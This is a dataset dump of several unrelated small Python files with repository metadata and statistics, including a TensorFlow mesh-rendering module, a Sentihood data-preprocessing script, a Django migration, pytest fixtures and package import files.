|
Python
|
.history/py/main_20201230142024.py
|
minefarmer/Comprehensive-Python
|
f97b9b83ec328fc4e4815607e6a65de90bb8de66
|
[
"Unlicense"
] | null | null | null |
.history/py/main_20201230142024.py
|
minefarmer/Comprehensive-Python
|
f97b9b83ec328fc4e4815607e6a65de90bb8de66
|
[
"Unlicense"
] | null | null | null |
.history/py/main_20201230142024.py
|
minefarmer/Comprehensive-Python
|
f97b9b83ec328fc4e4815607e6a65de90bb8de66
|
[
"Unlicense"
] | null | null | null |
print(3 // 7)
| 5
| 13
| 0.466667
| 3
| 15
| 2.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181818
| 0.266667
| 15
| 2
| 14
| 7.5
| 0.454545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 6
|
62a6b021162952e16422994547b0eccdb2e967ae
| 121
|
py
|
Python
|
db/tests/fixtures/cultural_fit.py
|
matchd-ch/matchd-backend
|
84be4aab1b4708cae50a8988301b15df877c8db0
|
[
"Apache-2.0"
] | 1
|
2022-03-03T09:55:57.000Z
|
2022-03-03T09:55:57.000Z
|
db/tests/fixtures/cultural_fit.py
|
matchd-ch/matchd-backend
|
84be4aab1b4708cae50a8988301b15df877c8db0
|
[
"Apache-2.0"
] | 7
|
2022-02-09T10:44:53.000Z
|
2022-03-28T03:29:43.000Z
|
db/tests/fixtures/cultural_fit.py
|
matchd-ch/matchd-backend
|
84be4aab1b4708cae50a8988301b15df877c8db0
|
[
"Apache-2.0"
] | null | null | null |
import pytest
@pytest.fixture
def cultural_fit_valid_args():
return {'student': 'Something', 'company': 'Nothing'}
| 17.285714
| 57
| 0.719008
| 14
| 121
| 6
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.132231
| 121
| 6
| 58
| 20.166667
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0.247934
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.25
| 0.25
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
62acfabab351b5cca1ae93902087be712be5becd
| 35
|
py
|
Python
|
windows/tests/test_container.py
|
starlord-daniel/testinfra-sample
|
af62e8fc66c86465836edd62f0e1fdf719994e0c
|
[
"MIT"
] | 18
|
2019-08-13T13:04:48.000Z
|
2022-03-31T00:06:08.000Z
|
windows/tests/test_container.py
|
starlord-daniel/testinfra-sample
|
af62e8fc66c86465836edd62f0e1fdf719994e0c
|
[
"MIT"
] | 27
|
2021-06-03T16:50:46.000Z
|
2022-03-07T18:50:26.000Z
|
windows/tests/test_container.py
|
starlord-daniel/testinfra-sample
|
af62e8fc66c86465836edd62f0e1fdf719994e0c
|
[
"MIT"
] | 32
|
2019-06-27T19:33:34.000Z
|
2022-02-05T18:15:59.000Z
|
def test_sample():
assert True
| 11.666667
| 18
| 0.685714
| 5
| 35
| 4.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.228571
| 35
| 2
| 19
| 17.5
| 0.851852
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.5
| true
| 0
| 0
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
62f38b9893b28638a03eb3ad2796f7361b105e81
| 204
|
py
|
Python
|
cerebunit/validation_tests/cells/Purkinje/__init__.py
|
myHBPwork/cerebunit
|
8d986953652231c178e48a6272b6ba583ae1df96
|
[
"BSD-3-Clause"
] | null | null | null |
cerebunit/validation_tests/cells/Purkinje/__init__.py
|
myHBPwork/cerebunit
|
8d986953652231c178e48a6272b6ba583ae1df96
|
[
"BSD-3-Clause"
] | null | null | null |
cerebunit/validation_tests/cells/Purkinje/__init__.py
|
myHBPwork/cerebunit
|
8d986953652231c178e48a6272b6ba583ae1df96
|
[
"BSD-3-Clause"
] | 1
|
2021-05-21T03:06:37.000Z
|
2021-05-21T03:06:37.000Z
|
# ~/cerebunit/cerebunit/validation_tests/cells/PurkinjeCell/__init__.py
from .test_for_soma_restVm import SomaRestingVmTest
from .test_for_soma_spikeheight_antidromic import SomaSpikeHeightAntidromicTest
| 51
| 79
| 0.897059
| 23
| 204
| 7.434783
| 0.73913
| 0.093567
| 0.128655
| 0.175439
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04902
| 204
| 3
| 80
| 68
| 0.881443
| 0.338235
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
1a1145364afe5e3109ce792df888e2d34a8c2139
| 5,707
|
py
|
Python
|
render/render_ortho.py
|
val-iisc/ss_human_mesh
|
f9c7fcf577c83316eb610753e3f5678b7b5e24c5
|
[
"MIT"
] | 31
|
2020-08-31T11:32:33.000Z
|
2021-12-05T08:47:33.000Z
|
render/render_ortho.py
|
rakeshramesha/SS_Human_Mesh
|
b27d53a08b60a1ac32d1845557f317c165498fd5
|
[
"MIT"
] | null | null | null |
render/render_ortho.py
|
rakeshramesha/SS_Human_Mesh
|
b27d53a08b60a1ac32d1845557f317c165498fd5
|
[
"MIT"
] | 7
|
2020-09-25T03:50:59.000Z
|
2021-12-10T05:24:58.000Z
|
""" Batched Render file. """
import dirt
import numpy as np
import tensorflow as tf
from dirt import matrices
import dirt.lighting as lighting
from tensorflow.python.framework import ops
def orthgraphic_projection(w, h, near=0.1, far=10., name=None):
"""Constructs a orthographic projection matrix.
This function returns a orthographic projection matrix, using the OpenGL convention that the camera
looks along the negative-z axis in view/camera space, and the positive-z axis in clip space.
Multiplying view-space homogeneous coordinates by this matrix maps them into clip space.
"""
with ops.name_scope(name, 'OrthographicProjection', [w, h, near, far]) as scope:
### symmetric view case
right = w / 2
left = -right
top = h / 2
bottom = -top
elements = [
[2. / (right-left), 0., 0, -(right+left)/(right-left) ],
[0., 2. / (top-bottom), 0, -(top+bottom)/(top-bottom) ],
[0., 0., -2. / (far - near), -(far+near)/(far-near) ],
[0.,0.,0.,1.]
]
return tf.transpose(tf.convert_to_tensor(elements, dtype=tf.float32))
def perspective_projection(f, c, w, h, near=0.1, far=10., name=None):
"""Constructs a perspective projection matrix.
This function returns a perspective projection matrix, using the OpenGL convention that the camera
looks along the negative-z axis in view/camera space, and the positive-z axis in clip space.
Multiplying view-space homogeneous coordinates by this matrix maps them into clip space.
"""
with ops.name_scope(name, 'PerspectiveProjection', [f, c, w, h, near, far]) as scope:
f = 0.5 * (f[0] + f[1])
pixel_center_offset = 0.5
right = (w - (c[0] + pixel_center_offset)) * (near / f)
left = -(c[0] + pixel_center_offset) * (near / f)
top = (c[1] + pixel_center_offset) * (near / f)
bottom = -(h - c[1] + pixel_center_offset) * (near / f)
elements = [
[2. * near / (right - left), 0., (right + left) / (right - left), 0.],
[0., 2. * near / (top - bottom), (top + bottom) / (top - bottom), 0.],
[0., 0., -(far + near) / (far - near), -2. * far * near / (far - near)],
[0., 0., -1., 0.]
]
return tf.transpose(tf.convert_to_tensor(elements, dtype=tf.float32))
def render_colored_batch(m_v, m_f, m_vc, width, height, camera_f, camera_c, bgcolor=np.zeros(3, dtype=np.float32),
num_channels=3, camera_t=np.zeros(3, dtype=np.float32),
camera_rt=np.zeros(3, dtype=np.float32), name=None,batch_size=None,cam_pred=None):
""" Render a batch of meshes with fixed BG. Supported projection types 1) Perspective, 2) Orthographic. """
with ops.name_scope(name, "render_batch", [m_v]) as name:
assert (num_channels == m_vc.shape[-1] == bgcolor.shape[0])
#projection_matrix = perspective_projection(camera_f, camera_c, width, height, .1, 10)
projection_matrix = orthgraphic_projection(width, height, -(width/2), (width/2)) ### im_w x im_h x im_w cube
## Camera Extrinsics, rotate & trans
view_matrix = matrices.compose( matrices.rodrigues(camera_rt.astype(np.float32)),
matrices.translation(camera_t.astype(np.float32)),
)
## Fixed clr BG
bg = tf.tile(bgcolor[tf.newaxis,tf.newaxis,tf.newaxis,...],[tf.shape(m_v)[0],width,height,1])
m_v = tf.cast(m_v, tf.float32)
m_v = tf.concat([m_v, tf.ones_like(m_v[:, :, -1:])], axis=2)
## Extrinsic multiplication
m_v = tf.matmul(m_v, tf.tile(view_matrix[np.newaxis, ...], (tf.shape(m_v)[0], 1, 1)))
## Intrinsic Camera projection
m_v = tf.matmul(m_v, tf.tile(projection_matrix[np.newaxis, ...], (tf.shape(m_v)[0], 1, 1)))
m_f = tf.tile(tf.cast(m_f, tf.int32)[tf.newaxis, ...], (tf.shape(m_v)[0], 1, 1))
## Rasterize
return dirt.rasterise_batch(bg, m_v, m_vc, m_f, name=name)
def render_overlay_colored_batch(m_v, m_f, m_vc, width, height, camera_f, camera_c, bgcolor=np.zeros(3, dtype=np.float32),
num_channels=3, camera_t=np.zeros(3, dtype=np.float32),
camera_rt=np.zeros(3, dtype=np.float32), name=None,batch_size=None,cam_pred=None):
""" Render a batch of meshes with corresponding BG images. Supported projection types 1) Perspective, 2) Orthographic. """
with ops.name_scope(name, "render_batch", [m_v]) as name:
#projection_matrix = perspective_projection(camera_f, camera_c, width, height, .1, 10)
projection_matrix = orthgraphic_projection(width, height, -(width/2), (width/2)) ### im_w x im_h x im_w cube
## Camera Extrinsics, rotate & trans
view_matrix = matrices.compose( matrices.rodrigues(camera_rt.astype(np.float32)),
matrices.translation(camera_t.astype(np.float32)),
)
## Image BG
bg = bgcolor
m_v = tf.cast(m_v, tf.float32)
m_v = tf.concat([m_v, tf.ones_like(m_v[:, :, -1:])], axis=2)
## Extrinsic multiplication
m_v = tf.matmul(m_v, tf.tile(view_matrix[np.newaxis, ...], (tf.shape(m_v)[0], 1, 1)))
## Intrinsic Camera projection
m_v = tf.matmul(m_v, tf.tile(projection_matrix[np.newaxis, ...], (tf.shape(m_v)[0], 1, 1)))
m_f = tf.tile(tf.cast(m_f, tf.int32)[tf.newaxis, ...], (tf.shape(m_v)[0], 1, 1))
## Rasterize
return dirt.rasterise_batch(bg, m_v, m_vc, m_f, name=name)
| 47.957983
| 127
| 0.599439
| 820
| 5,707
| 4.028049
| 0.168293
| 0.018771
| 0.019376
| 0.031789
| 0.816833
| 0.807448
| 0.742053
| 0.707236
| 0.707236
| 0.707236
| 0
| 0.029612
| 0.254424
| 5,707
| 118
| 128
| 48.364407
| 0.746651
| 0.237603
| 0
| 0.430769
| 0
| 0
| 0.015739
| 0.010101
| 0
| 0
| 0
| 0
| 0.015385
| 1
| 0.061538
| false
| 0
| 0.092308
| 0
| 0.215385
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
1a299f9c8b2d1be8d498006be4ae32b10c07bb7e
| 229
|
py
|
Python
|
EPUIKit/widget/__init__.py
|
jinsihou19/E-Paper-UI-Kit
|
e648e87dae606e65d553ac0974b3cf16d5b4fc93
|
[
"MIT"
] | null | null | null |
EPUIKit/widget/__init__.py
|
jinsihou19/E-Paper-UI-Kit
|
e648e87dae606e65d553ac0974b3cf16d5b4fc93
|
[
"MIT"
] | 2
|
2021-09-08T01:51:05.000Z
|
2022-03-12T00:23:05.000Z
|
EPUIKit/widget/__init__.py
|
jinsihou19/E-Paper-UI-Kit
|
e648e87dae606e65d553ac0974b3cf16d5b4fc93
|
[
"MIT"
] | null | null | null |
from EPUIKit.widget.flowlayout import FlowLayout
from EPUIKit.widget.label import Label
from EPUIKit.widget.layout import Layout
from EPUIKit.widget.quadrantslayout import QuadrantsLayout
from EPUIKit.widget.widget import Widget
| 38.166667
| 58
| 0.868996
| 30
| 229
| 6.633333
| 0.266667
| 0.276382
| 0.427136
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087336
| 229
| 5
| 59
| 45.8
| 0.952153
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
a7f7d43a17424ab8baead96deb33785db0e17fc2
| 33
|
py
|
Python
|
relart/feature_engineering/__init__.py
|
artemmoskalev/relart
|
8c1d063bdcfd2bdb5558df3de770014db4c2b130
|
[
"MIT"
] | null | null | null |
relart/feature_engineering/__init__.py
|
artemmoskalev/relart
|
8c1d063bdcfd2bdb5558df3de770014db4c2b130
|
[
"MIT"
] | null | null | null |
relart/feature_engineering/__init__.py
|
artemmoskalev/relart
|
8c1d063bdcfd2bdb5558df3de770014db4c2b130
|
[
"MIT"
] | null | null | null |
from .seasonal_features import *
| 16.5
| 32
| 0.818182
| 4
| 33
| 6.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121212
| 33
| 1
| 33
| 33
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
c5098beb4ce1376cc6555f4f36eb1987aaa50f00
| 183
|
py
|
Python
|
objects/__init__.py
|
TheLokin/Kabalayn
|
2034364e03e8eca909df11dcc393d70edd18493b
|
[
"MIT"
] | null | null | null |
objects/__init__.py
|
TheLokin/Kabalayn
|
2034364e03e8eca909df11dcc393d70edd18493b
|
[
"MIT"
] | null | null | null |
objects/__init__.py
|
TheLokin/Kabalayn
|
2034364e03e8eca909df11dcc393d70edd18493b
|
[
"MIT"
] | null | null | null |
from .group import *
from .props import *
from .balls import *
from .object import *
from .buttons import *
from .entities import *
from .particles import *
from .projectiles import *
| 22.875
| 26
| 0.743169
| 24
| 183
| 5.666667
| 0.416667
| 0.514706
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.169399
| 183
| 8
| 26
| 22.875
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
c54a59d0ef67eb6a949a1524e6dc7df0ea1f383a
| 3,703
|
py
|
Python
|
generate/generate_sentihood_NLI_M.py
|
bubblemans/ABSA-BERT-pair
|
aced5582cefc6398e196da01773fbfee4cd9126b
|
[
"MIT"
] | 462
|
2019-03-25T06:48:12.000Z
|
2022-03-31T08:34:06.000Z
|
generate/generate_sentihood_NLI_M.py
|
bubblemans/ABSA-BERT-pair
|
aced5582cefc6398e196da01773fbfee4cd9126b
|
[
"MIT"
] | 24
|
2019-04-27T16:35:19.000Z
|
2022-02-07T12:33:48.000Z
|
generate/generate_sentihood_NLI_M.py
|
bubblemans/ABSA-BERT-pair
|
aced5582cefc6398e196da01773fbfee4cd9126b
|
[
"MIT"
] | 139
|
2019-03-25T06:48:16.000Z
|
2022-03-19T14:00:12.000Z
|
import os
from data_utils_sentihood import *
data_dir='../data/sentihood/'
aspect2idx = {
'general': 0,
'price': 1,
'transit-location': 2,
'safety': 3,
}
(train, train_aspect_idx), (val, val_aspect_idx), (test, test_aspect_idx) = load_task(data_dir, aspect2idx)
print("len(train) = ", len(train))
print("len(val) = ", len(val))
print("len(test) = ", len(test))
train.sort(key=lambda x:x[2]+str(x[0])+x[3][0])
val.sort(key=lambda x:x[2]+str(x[0])+x[3][0])
test.sort(key=lambda x:x[2]+str(x[0])+x[3][0])
dir_path = data_dir+'bert-pair/'
if not os.path.exists(dir_path):
os.makedirs(dir_path)
with open(dir_path+"train_NLI_M.tsv","w",encoding="utf-8") as f:
f.write("id\tsentence1\tsentence2\tlabel\n")
for v in train:
f.write(str(v[0])+"\t")
word=v[1][0].lower()
if word=='location1':f.write('location - 1')
elif word=='location2':f.write('location - 2')
elif word[0]=='\'':f.write("\' "+word[1:])
else:f.write(word)
for i in range(1,len(v[1])):
word=v[1][i].lower()
f.write(" ")
if word == 'location1':
f.write('location - 1')
elif word == 'location2':
f.write('location - 2')
elif word[0] == '\'':
f.write("\' " + word[1:])
else:
f.write(word)
f.write("\t")
if v[2]=='LOCATION1':f.write('location - 1 - ')
if v[2]=='LOCATION2':f.write('location - 2 - ')
if len(v[3])==1:
f.write(v[3][0]+"\t")
else:
f.write("transit location\t")
f.write(v[4]+"\n")
with open(dir_path+"dev_NLI_M.tsv","w",encoding="utf-8") as f:
f.write("id\tsentence1\tsentence2\tlabel\n")
for v in val:
f.write(str(v[0])+"\t")
word=v[1][0].lower()
if word=='location1':f.write('location - 1')
elif word=='location2':f.write('location - 2')
elif word[0]=='\'':f.write("\' "+word[1:])
else:f.write(word)
for i in range(1,len(v[1])):
word=v[1][i].lower()
f.write(" ")
if word == 'location1':
f.write('location - 1')
elif word == 'location2':
f.write('location - 2')
elif word[0] == '\'':
f.write("\' " + word[1:])
else:
f.write(word)
f.write("\t")
if v[2]=='LOCATION1':f.write('location - 1 - ')
if v[2]=='LOCATION2':f.write('location - 2 - ')
if len(v[3])==1:
f.write(v[3][0]+"\t")
else:
f.write("transit location\t")
f.write(v[4]+"\n")
with open(dir_path+"test_NLI_M.tsv","w",encoding="utf-8") as f:
f.write("id\tsentence1\tsentence2\tlabel\n")
for v in test:
f.write(str(v[0])+"\t")
word=v[1][0].lower()
if word=='location1':f.write('location - 1')
elif word=='location2':f.write('location - 2')
elif word[0]=='\'':f.write("\' "+word[1:])
else:f.write(word)
for i in range(1,len(v[1])):
word=v[1][i].lower()
f.write(" ")
if word == 'location1':
f.write('location - 1')
elif word == 'location2':
f.write('location - 2')
elif word[0] == '\'':
f.write("\' " + word[1:])
else:
f.write(word)
f.write("\t")
if v[2]=='LOCATION1':f.write('location - 1 - ')
if v[2]=='LOCATION2':f.write('location - 2 - ')
if len(v[3])==1:
f.write(v[3][0]+"\t")
else:
f.write("transit location\t")
f.write(v[4]+"\n")
| 32.769912
| 107
| 0.477721
| 535
| 3,703
| 3.261682
| 0.128972
| 0.175358
| 0.144413
| 0.118625
| 0.799427
| 0.799427
| 0.799427
| 0.799427
| 0.799427
| 0.799427
| 0
| 0.044135
| 0.302457
| 3,703
| 112
| 108
| 33.0625
| 0.631436
| 0
| 0
| 0.757282
| 0
| 0
| 0.21118
| 0.026735
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.019417
| 0
| 0.019417
| 0.029126
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
3db3fa17da4470ba303898dbb3971188c399797e
| 177
|
py
|
Python
|
kevin/machine_learning/patch_for_numpy/axis_and_dim/transpose/__init__.py
|
cantbeblank96/kevin_toolbox
|
a258b2a42c9b4d042decb193354ecb7419bd837c
|
[
"MIT"
] | null | null | null |
kevin/machine_learning/patch_for_numpy/axis_and_dim/transpose/__init__.py
|
cantbeblank96/kevin_toolbox
|
a258b2a42c9b4d042decb193354ecb7419bd837c
|
[
"MIT"
] | null | null | null |
kevin/machine_learning/patch_for_numpy/axis_and_dim/transpose/__init__.py
|
cantbeblank96/kevin_toolbox
|
a258b2a42c9b4d042decb193354ecb7419bd837c
|
[
"MIT"
] | null | null | null |
from .transpose_inside_axis import transpose_inside_axis as inside_axis
from .get_inverse_of_transpose_index_ls import get_inverse_of_transpose_index_ls as get_inverse_index_ls
| 59
| 104
| 0.920904
| 30
| 177
| 4.833333
| 0.366667
| 0.206897
| 0.262069
| 0.289655
| 0.386207
| 0.386207
| 0
| 0
| 0
| 0
| 0
| 0
| 0.067797
| 177
| 2
| 105
| 88.5
| 0.878788
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
3dd3506ddf72af508a77b42f0fca3f4a2a9fbf7f
| 1,696
|
py
|
Python
|
zerver/migrations/0274_nullbooleanfield_to_booleanfield.py
|
TylerPham2000/zulip
|
2e7aaba0dde5517b4a55cb0bd782f009be45e3ba
|
[
"Apache-2.0"
] | 17,004
|
2015-09-25T18:27:24.000Z
|
2022-03-31T22:02:32.000Z
|
zerver/migrations/0274_nullbooleanfield_to_booleanfield.py
|
TylerPham2000/zulip
|
2e7aaba0dde5517b4a55cb0bd782f009be45e3ba
|
[
"Apache-2.0"
] | 20,344
|
2015-09-25T19:02:42.000Z
|
2022-03-31T23:54:40.000Z
|
zerver/migrations/0274_nullbooleanfield_to_booleanfield.py
|
TylerPham2000/zulip
|
2e7aaba0dde5517b4a55cb0bd782f009be45e3ba
|
[
"Apache-2.0"
] | 7,271
|
2015-09-25T18:48:39.000Z
|
2022-03-31T21:06:11.000Z
|
# Generated by Django 2.2.12 on 2020-04-26 17:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("zerver", "0273_migrate_old_bot_messages"),
]
operations = [
migrations.AlterField(
model_name="stream",
name="invite_only",
field=models.BooleanField(default=False, null=True),
),
migrations.AlterField(
model_name="subscription",
name="audible_notifications",
field=models.BooleanField(default=None, null=True),
),
migrations.AlterField(
model_name="subscription",
name="desktop_notifications",
field=models.BooleanField(default=None, null=True),
),
migrations.AlterField(
model_name="subscription",
name="email_notifications",
field=models.BooleanField(default=None, null=True),
),
migrations.AlterField(
model_name="subscription",
name="is_muted",
field=models.BooleanField(default=False, null=True),
),
migrations.AlterField(
model_name="subscription",
name="push_notifications",
field=models.BooleanField(default=None, null=True),
),
migrations.AlterField(
model_name="subscription",
name="wildcard_mentions_notify",
field=models.BooleanField(default=None, null=True),
),
migrations.AlterField(
model_name="userprofile",
name="enter_sends",
field=models.BooleanField(default=False, null=True),
),
]
| 31.407407
| 64
| 0.584906
| 151
| 1,696
| 6.430464
| 0.350993
| 0.164779
| 0.205973
| 0.238929
| 0.710608
| 0.710608
| 0.710608
| 0.666323
| 0.666323
| 0.666323
| 0
| 0.016978
| 0.305425
| 1,696
| 53
| 65
| 32
| 0.807301
| 0.027123
| 0
| 0.638298
| 1
| 0
| 0.155947
| 0.057646
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.021277
| 0
| 0.085106
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
9ae827e06affb6045b51cae286a2a90f721529e1
| 111
|
py
|
Python
|
gpflow/utilities/__init__.py
|
joacorapela/GPflow
|
55690c705317e56a93897958c72a0118d36dc0d9
|
[
"Apache-2.0"
] | null | null | null |
gpflow/utilities/__init__.py
|
joacorapela/GPflow
|
55690c705317e56a93897958c72a0118d36dc0d9
|
[
"Apache-2.0"
] | 1
|
2021-05-04T10:58:06.000Z
|
2021-05-04T10:58:06.000Z
|
gpflow/utilities/__init__.py
|
AaltoML/GPflow
|
1e1de824397c828a47d9eca002251041296c91d4
|
[
"Apache-2.0"
] | null | null | null |
from .bijectors import *
from .misc import *
from .multipledispatch import Dispatcher
from .traversal import *
| 22.2
| 40
| 0.792793
| 13
| 111
| 6.769231
| 0.538462
| 0.227273
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144144
| 111
| 4
| 41
| 27.75
| 0.926316
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
9aed99faf69ca510dc0e51488ee5ddd4de0749d0
| 37
|
py
|
Python
|
lcdbackpack/__init__.py
|
JimmyBlunt/adafruit-usb-serial-lcd-backpack
|
38f121209789ebe6cde883adf506edd53129b349
|
[
"BSD-3-Clause"
] | 7
|
2017-05-24T01:30:31.000Z
|
2020-03-02T16:05:05.000Z
|
lcdbackpack/__init__.py
|
JimmyBlunt/adafruit-usb-serial-lcd-backpack
|
38f121209789ebe6cde883adf506edd53129b349
|
[
"BSD-3-Clause"
] | 3
|
2017-12-27T19:52:52.000Z
|
2017-12-28T17:48:23.000Z
|
lcdbackpack/__init__.py
|
JimmyBlunt/adafruit-usb-serial-lcd-backpack
|
38f121209789ebe6cde883adf506edd53129b349
|
[
"BSD-3-Clause"
] | 3
|
2017-10-21T17:09:25.000Z
|
2020-11-24T09:12:34.000Z
|
from .lcdbackpack import LcdBackpack
| 18.5
| 36
| 0.864865
| 4
| 37
| 8
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 37
| 1
| 37
| 37
| 0.969697
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
b128b16444d652db8659e1fbef11f813d764cd30
| 102
|
py
|
Python
|
essentials_kit_management/exceptions/exceptions.py
|
RajeshKumar1490/iB_hubs_mini_project
|
f7126092400fb9a62fb4bff643dae7cda3a8d9d2
|
[
"MIT"
] | null | null | null |
essentials_kit_management/exceptions/exceptions.py
|
RajeshKumar1490/iB_hubs_mini_project
|
f7126092400fb9a62fb4bff643dae7cda3a8d9d2
|
[
"MIT"
] | 2
|
2021-09-07T07:06:00.000Z
|
2021-09-07T07:24:26.000Z
|
essentials_kit_management/exceptions/exceptions.py
|
RajeshKumar1490/iB_hubs_mini_project
|
f7126092400fb9a62fb4bff643dae7cda3a8d9d2
|
[
"MIT"
] | null | null | null |
class InvalidPasswordException(Exception):
pass
class InvalidValueException(Exception):
pass
| 17
| 42
| 0.794118
| 8
| 102
| 10.125
| 0.625
| 0.320988
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147059
| 102
| 5
| 43
| 20.4
| 0.931034
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.75
| 0
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
